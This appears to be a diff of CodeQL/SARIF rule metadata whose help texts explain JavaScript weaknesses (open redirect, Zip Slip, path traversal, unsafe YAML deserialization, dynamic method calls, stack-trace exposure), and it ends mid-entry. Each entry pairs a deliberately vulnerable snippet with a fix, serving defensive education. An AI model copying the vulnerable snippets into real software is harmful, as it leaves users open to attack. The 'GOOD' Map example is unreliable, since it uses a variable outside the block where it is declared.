+            "text" : "# Server-side URL redirect\nDirectly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\nIf this is not possible, then the user input should be validated in some other way, for example, by verifying that the target URL is on the same host as the current page.\n\n\n## Example\nThe following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"/redirect\", function (req, res) {\n  // BAD: a request parameter is incorporated without validation into a URL redirect\n  res.redirect(req.query[\"target\"]);\n});\n\n```\nOne way to remedy the problem is to validate the user input against a known fixed string before doing the redirection:\n\n\n```javascript\nconst app = require(\"express\")();\n\nconst VALID_REDIRECT = \"http://cwe.mitre.org/data/definitions/601.html\";\n\napp.get(\"/redirect\", function (req, res) {\n  // GOOD: the request parameter is validated against a known fixed string\n  let target = req.query[\"target\"];\n  if (VALID_REDIRECT === target) {\n    res.redirect(target);\n  } else {\n    res.redirect(\"/\");\n  }\n});\n\n```\nAlternatively, we can check that the target URL does not redirect to a different host by parsing it relative to a base URL with a known host and verifying that the host stays the same:\n\n\n```javascript\nconst app = require(\"express\")();\n\nfunction isLocalUrl(path) {\n  try {\n    return (\n      // TODO: consider substituting your own domain for example.com\n      new URL(path, \"https://example.com\").origin === \"https://example.com\"\n    );\n  } catch (e) {\n    return false;\n  }\n}\n\napp.get(\"/redirect\", function (req, res) {\n  // GOOD: check that we don't redirect to a different host\n  let target = req.query[\"target\"];\n  if (isLocalUrl(target)) {\n    res.redirect(target);\n  } else {\n    res.redirect(\"/\");\n  }\n});\n\n```\nNote that as written, the above code will allow redirects to URLs on `example.com`, which is harmless but perhaps not intended. You can substitute your own domain (if known) for `example.com` to prevent this.\n\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n",
+            "markdown" : "# Server-side URL redirect\nDirectly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\nIf this is not possible, then the user input should be validated in some other way, for example, by verifying that the target URL is on the same host as the current page.\n\n\n## Example\nThe following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"/redirect\", function (req, res) {\n  // BAD: a request parameter is incorporated without validation into a URL redirect\n  res.redirect(req.query[\"target\"]);\n});\n\n```\nOne way to remedy the problem is to validate the user input against a known fixed string before doing the redirection:\n\n\n```javascript\nconst app = require(\"express\")();\n\nconst VALID_REDIRECT = \"http://cwe.mitre.org/data/definitions/601.html\";\n\napp.get(\"/redirect\", function (req, res) {\n  // GOOD: the request parameter is validated against a known fixed string\n  let target = req.query[\"target\"];\n  if (VALID_REDIRECT === target) {\n    res.redirect(target);\n  } else {\n    res.redirect(\"/\");\n  }\n});\n\n```\nAlternatively, we can check that the target URL does not redirect to a different host by parsing it relative to a base URL with a known host and verifying that the host stays the same:\n\n\n```javascript\nconst app = require(\"express\")();\n\nfunction isLocalUrl(path) {\n  try {\n    return (\n      // TODO: consider substituting your own domain for example.com\n      new URL(path, \"https://example.com\").origin === \"https://example.com\"\n    );\n  } catch (e) {\n    return false;\n  }\n}\n\napp.get(\"/redirect\", function (req, res) {\n  // GOOD: check that we don't redirect to a different host\n  let target = req.query[\"target\"];\n  if (isLocalUrl(target)) {\n    res.redirect(target);\n  } else {\n    res.redirect(\"/\");\n  }\n});\n\n```\nNote that as written, the above code will allow redirects to URLs on `example.com`, which is harmless but perhaps not intended. You can substitute your own domain (if known) for `example.com` to prevent this.\n\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-094", "external/cwe/cwe-079", "external/cwe/cwe-116" ],
-            "description" : "Escaping code as HTML does not provide protection against code injection.",
-            "id" : "js/bad-code-sanitization",
+            "tags" : [ "security", "external/cwe/cwe-601" ],
+            "description" : "Server-side URL redirection based on unvalidated user input\n              may cause redirection to malicious web sites.",
+            "id" : "js/server-side-unvalidated-url-redirection",
             "kind" : "path-problem",
-            "name" : "Improper code sanitization",
+            "name" : "Server-side URL redirect",
             "precision" : "high",
-            "problem.severity" : "error",
+            "problem.severity" : "warning",
             "security-severity" : "6.1"
           }
         }, {
@@ -1464,112 +1373,139 @@
             "security-severity" : "8.8"
           }
         }, {
-          "id" : "js/zipslip",
-          "name" : "js/zipslip",
+          "id" : "js/unsafe-deserialization",
+          "name" : "js/unsafe-deserialization",
           "shortDescription" : {
-            "text" : "Arbitrary file access during archive extraction (\"Zip Slip\")"
+            "text" : "Deserialization of user-controlled data"
           },
           "fullDescription" : {
-            "text" : "Extracting files from a malicious ZIP file, or similar type of archive, without validating that the destination file path is within the destination directory can allow an attacker to unexpectedly gain access to resources."
+            "text" : "Deserializing user-controlled data may allow attackers to execute arbitrary code."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
-            "text" : "# Arbitrary file access during archive extraction (\"Zip Slip\")\nExtracting files from a malicious zip file, or similar type of archive, is at risk of directory traversal attacks if filenames from the archive are not properly validated. archive paths.\n\nZip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to create a filesystem path, then a file operation may happen in an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files.\n\nFor example, if a zip file contains a file entry `..\\sneaky-file`, and the zip file is extracted to the directory `c:\\output`, then naively combining the paths would result in an output file path of `c:\\output\\..\\sneaky-file`, which would cause the file to be written to `c:\\sneaky-file`.\n\n\n## Recommendation\nEnsure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations.\n\nThe recommended way of writing an output file from a zip archive entry is to check that `\"..\"` does not occur in the path.\n\n\n## Example\nIn this example an archive is extracted without validating file paths. If `archive.zip` contained relative paths (for instance, if it were created by something like `zip archive.zip ../file.txt`) then executing this code could write to locations outside the destination directory.\n\n\n```javascript\nconst fs = require('fs');\nconst unzip = require('unzip');\n\nfs.createReadStream('archive.zip')\n  .pipe(unzip.Parse())\n  .on('entry', entry => {\n    const fileName = entry.path;\n    // BAD: This could write any file on the filesystem.\n    entry.pipe(fs.createWriteStream(fileName));\n  });\n\n```\nTo fix this vulnerability, we need to check that the path does not contain any `\"..\"` elements in it.\n\n\n```javascript\nconst fs = require('fs');\nconst unzip = require('unzip');\n\nfs.createReadStream('archive.zip')\n  .pipe(unzip.Parse())\n  .on('entry', entry => {\n    const fileName = entry.path;\n    // GOOD: ensures the path is safe to write to.\n    if (fileName.indexOf('..') == -1) {\n      entry.pipe(fs.createWriteStream(fileName));\n    }\n    else {\n      console.log('skipping bad path', fileName);\n    }\n  });\n\n```\n\n## References\n* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability).\n* OWASP: [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal).\n* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html).\n",
-            "markdown" : "# Arbitrary file access during archive extraction (\"Zip Slip\")\nExtracting files from a malicious zip file, or similar type of archive, is at risk of directory traversal attacks if filenames from the archive are not properly validated. archive paths.\n\nZip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to create a filesystem path, then a file operation may happen in an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files.\n\nFor example, if a zip file contains a file entry `..\\sneaky-file`, and the zip file is extracted to the directory `c:\\output`, then naively combining the paths would result in an output file path of `c:\\output\\..\\sneaky-file`, which would cause the file to be written to `c:\\sneaky-file`.\n\n\n## Recommendation\nEnsure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations.\n\nThe recommended way of writing an output file from a zip archive entry is to check that `\"..\"` does not occur in the path.\n\n\n## Example\nIn this example an archive is extracted without validating file paths. If `archive.zip` contained relative paths (for instance, if it were created by something like `zip archive.zip ../file.txt`) then executing this code could write to locations outside the destination directory.\n\n\n```javascript\nconst fs = require('fs');\nconst unzip = require('unzip');\n\nfs.createReadStream('archive.zip')\n  .pipe(unzip.Parse())\n  .on('entry', entry => {\n    const fileName = entry.path;\n    // BAD: This could write any file on the filesystem.\n    entry.pipe(fs.createWriteStream(fileName));\n  });\n\n```\nTo fix this vulnerability, we need to check that the path does not contain any `\"..\"` elements in it.\n\n\n```javascript\nconst fs = require('fs');\nconst unzip = require('unzip');\n\nfs.createReadStream('archive.zip')\n  .pipe(unzip.Parse())\n  .on('entry', entry => {\n    const fileName = entry.path;\n    // GOOD: ensures the path is safe to write to.\n    if (fileName.indexOf('..') == -1) {\n      entry.pipe(fs.createWriteStream(fileName));\n    }\n    else {\n      console.log('skipping bad path', fileName);\n    }\n  });\n\n```\n\n## References\n* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability).\n* OWASP: [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal).\n* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html).\n"
+            "text" : "# Deserialization of user-controlled data\nDeserializing untrusted data using any deserialization framework that allows the construction of arbitrary functions is easily exploitable and, in many cases, allows an attacker to execute arbitrary code.\n\n\n## Recommendation\nAvoid deserialization of untrusted data if at all possible. If the architecture permits it, then use formats like JSON or XML that cannot represent functions. When using YAML or other formats that support the serialization and deserialization of functions, ensure that the parser is configured to disable deserialization of arbitrary functions.\n\n\n## Example\nThe following example calls the `load` function of the popular `js-yaml` package on data that comes from an HTTP request and hence is inherently unsafe.\n\n\n```javascript\nconst app = require(\"express\")(),\n  jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n  let data = jsyaml.load(req.params.data);\n  // ...\n});\n\n```\nUsing the `safeLoad` function instead (which does not deserialize YAML-encoded functions) removes the vulnerability.\n\n\n```javascript\nconst app = require(\"express\")(),\n  jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n  let data = jsyaml.safeLoad(req.params.data);\n  // ...\n});\n\n```\n\n## References\n* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data).\n* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html).\n* Neal Poole: [Code Execution via YAML in JS-YAML Node.js Module](https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/).\n* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html).\n",
+            "markdown" : "# Deserialization of user-controlled data\nDeserializing untrusted data using any deserialization framework that allows the construction of arbitrary functions is easily exploitable and, in many cases, allows an attacker to execute arbitrary code.\n\n\n## Recommendation\nAvoid deserialization of untrusted data if at all possible. If the architecture permits it, then use formats like JSON or XML that cannot represent functions. When using YAML or other formats that support the serialization and deserialization of functions, ensure that the parser is configured to disable deserialization of arbitrary functions.\n\n\n## Example\nThe following example calls the `load` function of the popular `js-yaml` package on data that comes from an HTTP request and hence is inherently unsafe.\n\n\n```javascript\nconst app = require(\"express\")(),\n  jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n  let data = jsyaml.load(req.params.data);\n  // ...\n});\n\n```\nUsing the `safeLoad` function instead (which does not deserialize YAML-encoded functions) removes the vulnerability.\n\n\n```javascript\nconst app = require(\"express\")(),\n  jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n  let data = jsyaml.safeLoad(req.params.data);\n  // ...\n});\n\n```\n\n## References\n* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data).\n* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html).\n* Neal Poole: [Code Execution via YAML in JS-YAML Node.js Module](https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/).\n* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-022" ],
-            "description" : "Extracting files from a malicious ZIP file, or similar type of archive, without\n              validating that the destination file path is within the destination directory\n              can allow an attacker to unexpectedly gain access to resources.",
-            "id" : "js/zipslip",
+            "tags" : [ "security", "external/cwe/cwe-502" ],
+            "description" : "Deserializing user-controlled data may allow attackers to\n              execute arbitrary code.",
+            "id" : "js/unsafe-deserialization",
             "kind" : "path-problem",
-            "name" : "Arbitrary file access during archive extraction (\"Zip Slip\")",
+            "name" : "Deserialization of user-controlled data",
             "precision" : "high",
-            "problem.severity" : "error",
-            "security-severity" : "7.5"
+            "problem.severity" : "warning",
+            "security-severity" : "9.8"
           }
         }, {
-          "id" : "js/path-injection",
-          "name" : "js/path-injection",
+          "id" : "js/unvalidated-dynamic-method-call",
+          "name" : "js/unvalidated-dynamic-method-call",
           "shortDescription" : {
-            "text" : "Uncontrolled data used in path expression"
+            "text" : "Unvalidated dynamic method call"
           },
           "fullDescription" : {
-            "text" : "Accessing paths influenced by users can allow an attacker to access unexpected resources."
+            "text" : "Calling a method with a user-controlled name may dispatch to an unexpected target, which could cause an exception."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
-            "text" : "# Uncontrolled data used in path expression\nAccessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files.\n\n\n## Recommendation\nValidate user input before using it to construct a file path.\n\nThe validation method you should use depends on whether you want to allow the user to specify complex paths with multiple components that may span multiple folders, or only simple filenames without a path component.\n\nIn the former case, a common strategy is to make sure that the constructed file path is contained within a safe root folder. First, normalize the path using `path.resolve` or `fs.realpathSync` to remove any \"..\" segments. You should always normalize the file path since an unnormalized path that starts with the root folder can still be used to access files outside the root folder. Then, after you have normalized the path, check that the path starts with the root folder.\n\nIn the latter case, you can use a library like the `sanitize-filename` npm package to eliminate any special characters from the file path. Note that it is *not* sufficient to only remove \"../\" sequences: for example, applying this filter to \".../...//\" would still result in the string \"../\".\n\nFinally, the simplest (but most restrictive) option is to use an allow list of safe patterns and make sure that the user input matches one of these patterns.\n\n\n## Example\nIn the first (bad) example, the code reads the file name from an HTTP request, then accesses that file within a root folder. A malicious user could enter a file name containing \"../\" segments to navigate outside the root folder and access sensitive files.\n\n\n```javascript\nconst fs = require('fs'),\n      http = require('http'),\n      url = require('url');\n\nconst ROOT = \"/var/www/\";\n\nvar server = http.createServer(function(req, res) {\n  let filePath = url.parse(req.url, true).query.path;\n\n  // BAD: This function uses unsanitized input that can read any file on the file system.\n  res.write(fs.readFileSync(ROOT + filePath, 'utf8'));\n});\n```\nThe second (good) example shows how to avoid access to sensitive files by sanitizing the file path. First, the code resolves the file name relative to a root folder, normalizing the path and removing any \"../\" segments in the process. Then, the code calls `fs.realpathSync` to resolve any symbolic links in the path. Finally, the code checks that the normalized path starts with the path of the root folder, ensuring the file is contained within the root folder.\n\n\n```javascript\nconst fs = require('fs'),\n      http = require('http'),\n      path = require('path'),\n      url = require('url');\n\nconst ROOT = \"/var/www/\";\n\nvar server = http.createServer(function(req, res) {\n  let filePath = url.parse(req.url, true).query.path;\n\n  // GOOD: Verify that the file path is under the root directory\n  filePath = fs.realpathSync(path.resolve(ROOT, filePath));\n  if (!filePath.startsWith(ROOT)) {\n    res.statusCode = 403;\n    res.end();\n    return;\n  }\n  res.write(fs.readFileSync(filePath, 'utf8'));\n});\n```\n\n## References\n* OWASP: [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal).\n* npm: [sanitize-filename](https://www.npmjs.com/package/sanitize-filename) package.\n* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html).\n* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html).\n* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html).\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html).\n",
-            "markdown" : "# Uncontrolled data used in path expression\nAccessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files.\n\n\n## Recommendation\nValidate user input before using it to construct a file path.\n\nThe validation method you should use depends on whether you want to allow the user to specify complex paths with multiple components that may span multiple folders, or only simple filenames without a path component.\n\nIn the former case, a common strategy is to make sure that the constructed file path is contained within a safe root folder. First, normalize the path using `path.resolve` or `fs.realpathSync` to remove any \"..\" segments. You should always normalize the file path since an unnormalized path that starts with the root folder can still be used to access files outside the root folder. Then, after you have normalized the path, check that the path starts with the root folder.\n\nIn the latter case, you can use a library like the `sanitize-filename` npm package to eliminate any special characters from the file path. Note that it is *not* sufficient to only remove \"../\" sequences: for example, applying this filter to \".../...//\" would still result in the string \"../\".\n\nFinally, the simplest (but most restrictive) option is to use an allow list of safe patterns and make sure that the user input matches one of these patterns.\n\n\n## Example\nIn the first (bad) example, the code reads the file name from an HTTP request, then accesses that file within a root folder. A malicious user could enter a file name containing \"../\" segments to navigate outside the root folder and access sensitive files.\n\n\n```javascript\nconst fs = require('fs'),\n      http = require('http'),\n      url = require('url');\n\nconst ROOT = \"/var/www/\";\n\nvar server = http.createServer(function(req, res) {\n  let filePath = url.parse(req.url, true).query.path;\n\n  // BAD: This function uses unsanitized input that can read any file on the file system.\n  res.write(fs.readFileSync(ROOT + filePath, 'utf8'));\n});\n```\nThe second (good) example shows how to avoid access to sensitive files by sanitizing the file path. First, the code resolves the file name relative to a root folder, normalizing the path and removing any \"../\" segments in the process. Then, the code calls `fs.realpathSync` to resolve any symbolic links in the path. Finally, the code checks that the normalized path starts with the path of the root folder, ensuring the file is contained within the root folder.\n\n\n```javascript\nconst fs = require('fs'),\n      http = require('http'),\n      path = require('path'),\n      url = require('url');\n\nconst ROOT = \"/var/www/\";\n\nvar server = http.createServer(function(req, res) {\n  let filePath = url.parse(req.url, true).query.path;\n\n  // GOOD: Verify that the file path is under the root directory\n  filePath = fs.realpathSync(path.resolve(ROOT, filePath));\n  if (!filePath.startsWith(ROOT)) {\n    res.statusCode = 403;\n    res.end();\n    return;\n  }\n  res.write(fs.readFileSync(filePath, 'utf8'));\n});\n```\n\n## References\n* OWASP: [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal).\n* npm: [sanitize-filename](https://www.npmjs.com/package/sanitize-filename) package.\n* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html).\n* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html).\n* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html).\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html).\n"
+            "text" : "# Unvalidated dynamic method call\nJavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods can be looked up by name and then called. However, if the method name is user-controlled, an attacker could choose a name that makes the application invoke an unexpected method, which may cause a runtime exception. If this exception is not handled, it could be used to mount a denial-of-service attack.\n\nFor example, there might not be a method of the given name, or the result of the lookup might not be a function. In either case the method call will throw a `TypeError` at runtime.\n\nAnother, more subtle example is where the result of the lookup is a standard library method from `Object.prototype`, which most objects have on their prototype chain. Examples of such methods include `valueOf`, `hasOwnProperty` and `__defineSetter__`. If the method call passes the wrong number or kind of arguments to these methods, they will throw an exception.\n\n\n## Recommendation\nIt is best to avoid dynamic method lookup involving user-controlled names altogether, for instance by using a `Map` instead of a plain object.\n\nIf the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At the very least, check that the method is an own property and not inherited from the prototype object. If the object on which the method is looked up contains properties that are not methods, you should additionally check that the result of the lookup is a function. Even if the object only contains methods, it is still a good idea to perform this check in case other properties are added to the object later on.\n\n\n## Example\nIn the following example, an HTTP request parameter `action` property is used to dynamically look up a function in the `actions` map, which is then invoked with the `payload` parameter as its argument.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n  play(data) {\n    // ...\n  },\n  pause(data) {\n    // ...\n  }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n  let action = actions[req.params.action];\n  // BAD: `action` may not be a function\n  res.end(action(req.params.payload));\n});\n\n```\nThe intention is to allow clients to invoke the `play` or `pause` method, but there is no check that `action` is actually the name of a method stored in `actions`. If, for example, `action` is `rewind`, `action` will be `undefined` and the call will result in a runtime error.\n\nThe easiest way to prevent this is to turn `actions` into a `Map` and using `Map.prototype.has` to check whether the method name is valid before looking it up.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = new Map();\nactions.set(\"play\", function play(data) {\n  // ...\n});\nactions.set(\"pause\", function pause(data) {\n  // ...\n});\n\napp.get('/perform/:action/:payload', function(req, res) {\n  if (actions.has(req.params.action)) {\n    if (typeof actions.get(req.params.action) === 'function'){\n      let action = actions.get(req.params.action);\n    }\n    // GOOD: `action` is either the `play` or the `pause` function from above\n    res.end(action(req.params.payload));\n  } else {\n    res.end(\"Unsupported action.\");\n  }\n});\n\n```\nIf `actions` cannot be turned into a `Map`, a `hasOwnProperty` check should be added to validate the method name:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n  play(data) {\n    // ...\n  },\n  pause(data) {\n    // ...\n  }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n  if (actions.hasOwnProperty(req.params.action)) {\n    let action = actions[req.params.action];\n    if (typeof action === 'function') {\n      // GOOD: `action` is an own method of `actions`\n      res.end(action(req.params.payload));\n      return;\n    }\n  }\n  res.end(\"Unsupported action.\");\n});\n\n```\n\n## References\n* OWASP: [Denial of Service](https://www.owasp.org/index.php/Denial_of_Service).\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map).\n* MDN: [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype).\n* Common Weakness Enumeration: [CWE-754](https://cwe.mitre.org/data/definitions/754.html).\n",
+            "markdown" : "# Unvalidated dynamic method call\nJavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods can be looked up by name and then called. However, if the method name is user-controlled, an attacker could choose a name that makes the application invoke an unexpected method, which may cause a runtime exception. If this exception is not handled, it could be used to mount a denial-of-service attack.\n\nFor example, there might not be a method of the given name, or the result of the lookup might not be a function. In either case the method call will throw a `TypeError` at runtime.\n\nAnother, more subtle example is where the result of the lookup is a standard library method from `Object.prototype`, which most objects have on their prototype chain. Examples of such methods include `valueOf`, `hasOwnProperty` and `__defineSetter__`. If the method call passes the wrong number or kind of arguments to these methods, they will throw an exception.\n\n\n## Recommendation\nIt is best to avoid dynamic method lookup involving user-controlled names altogether, for instance by using a `Map` instead of a plain object.\n\nIf the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At the very least, check that the method is an own property and not inherited from the prototype object. If the object on which the method is looked up contains properties that are not methods, you should additionally check that the result of the lookup is a function. Even if the object only contains methods, it is still a good idea to perform this check in case other properties are added to the object later on.\n\n\n## Example\nIn the following example, an HTTP request parameter `action` property is used to dynamically look up a function in the `actions` map, which is then invoked with the `payload` parameter as its argument.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n  play(data) {\n    // ...\n  },\n  pause(data) {\n    // ...\n  }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n  let action = actions[req.params.action];\n  // BAD: `action` may not be a function\n  res.end(action(req.params.payload));\n});\n\n```\nThe intention is to allow clients to invoke the `play` or `pause` method, but there is no check that `action` is actually the name of a method stored in `actions`. If, for example, `action` is `rewind`, `action` will be `undefined` and the call will result in a runtime error.\n\nThe easiest way to prevent this is to turn `actions` into a `Map` and using `Map.prototype.has` to check whether the method name is valid before looking it up.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = new Map();\nactions.set(\"play\", function play(data) {\n  // ...\n});\nactions.set(\"pause\", function pause(data) {\n  // ...\n});\n\napp.get('/perform/:action/:payload', function(req, res) {\n  if (actions.has(req.params.action)) {\n    if (typeof actions.get(req.params.action) === 'function'){\n      let action = actions.get(req.params.action);\n    }\n    // GOOD: `action` is either the `play` or the `pause` function from above\n    res.end(action(req.params.payload));\n  } else {\n    res.end(\"Unsupported action.\");\n  }\n});\n\n```\nIf `actions` cannot be turned into a `Map`, a `hasOwnProperty` check should be added to validate the method name:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n  play(data) {\n    // ...\n  },\n  pause(data) {\n    // ...\n  }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n  if (actions.hasOwnProperty(req.params.action)) {\n    let action = actions[req.params.action];\n    if (typeof action === 'function') {\n      // GOOD: `action` is an own method of `actions`\n      res.end(action(req.params.payload));\n      return;\n    }\n  }\n  res.end(\"Unsupported action.\");\n});\n\n```\n\n## References\n* OWASP: [Denial of Service](https://www.owasp.org/index.php/Denial_of_Service).\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map).\n* MDN: [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype).\n* Common Weakness Enumeration: [CWE-754](https://cwe.mitre.org/data/definitions/754.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-022", "external/cwe/cwe-023", "external/cwe/cwe-036", "external/cwe/cwe-073", "external/cwe/cwe-099" ],
-            "description" : "Accessing paths influenced by users can allow an attacker to access\n              unexpected resources.",
-            "id" : "js/path-injection",
+            "tags" : [ "security", "external/cwe/cwe-754" ],
+            "description" : "Calling a method with a user-controlled name may dispatch to\n              an unexpected target, which could cause an exception.",
+            "id" : "js/unvalidated-dynamic-method-call",
             "kind" : "path-problem",
-            "name" : "Uncontrolled data used in path expression",
+            "name" : "Unvalidated dynamic method call",
             "precision" : "high",
-            "problem.severity" : "error",
+            "problem.severity" : "warning",
             "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/xpath-injection",
-          "name" : "js/xpath-injection",
+          "id" : "js/stack-trace-exposure",
+          "name" : "js/stack-trace-exposure",
           "shortDescription" : {
-            "text" : "XPath injection"
+            "text" : "Information exposure through a stack trace"
           },
           "fullDescription" : {
-            "text" : "Building an XPath expression from user-controlled sources is vulnerable to insertion of malicious code by the user."
+            "text" : "Propagating stack trace information to an external user can unintentionally reveal implementation details that are useful to an attacker for developing a subsequent exploit."
+          },
+          "defaultConfiguration" : {
+            "enabled" : true,
+            "level" : "warning"
+          },
+          "help" : {
+            "text" : "# Information exposure through a stack trace\nSoftware developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred.\n\nUnfortunately, the same information can be useful to an attacker. The sequence of function names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack.\n\n\n## Recommendation\nSend the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server.\n\n\n## Example\nIn the following example, an exception is caught and its stack trace is sent back to the remote user as part of the HTTP response. As such, the user is able to see a detailed stack trace, which may contain sensitive information.\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n  var body;\n  try {\n    body = handleRequest(req);\n  }\n  catch (err) {\n    res.statusCode = 500;\n    res.setHeader(\"Content-Type\", \"text/plain\");\n    res.end(err.stack); // NOT OK\n    return;\n  }\n  res.statusCode = 200;\n  res.setHeader(\"Content-Type\", \"application/json\");\n  res.setHeader(\"Content-Length\", body.length);\n  res.end(body);\n}).listen(3000);\n\n```\nInstead, the stack trace should be logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information:\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n  var body;\n  try {\n    body = handleRequest(req);\n  }\n  catch (err) {\n    res.statusCode = 500;\n    res.setHeader(\"Content-Type\", \"text/plain\");\n    log(\"Exception occurred\", err.stack);\n    res.end(\"An exception occurred\"); // OK\n    return;\n  }\n  res.statusCode = 200;\n  res.setHeader(\"Content-Type\", \"application/json\");\n  res.setHeader(\"Content-Length\", body.length);\n  res.end(body);\n}).listen(3000);\n\n```\n\n## References\n* OWASP: [Improper Error Handling](https://owasp.org/www-community/Improper_Error_Handling).\n* Common Weakness 